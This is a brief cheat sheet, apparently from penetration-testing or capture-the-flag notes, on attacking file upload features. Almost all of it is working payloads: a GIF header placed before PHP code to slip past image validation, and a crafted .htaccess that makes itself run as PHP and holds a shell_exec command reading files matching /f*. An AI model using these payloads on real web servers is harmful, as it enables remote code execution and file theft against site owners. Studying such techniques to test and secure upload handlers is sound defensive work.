File Upload

Bypass Content Validation

Bypass Valid Imageusing GIF Header

GIF89a;
<?php
phpinfo();
?>

RCE

RCE via `.htaccess`

AddHandler application/x-httpd-php74 php

<Files "?htaccess">

  Require all granted

  Order allow,deny

  Allow from all

  ForceType application/x-httpd-php

</Files>

#<?php echo shell_exec('cat /f*'); ?>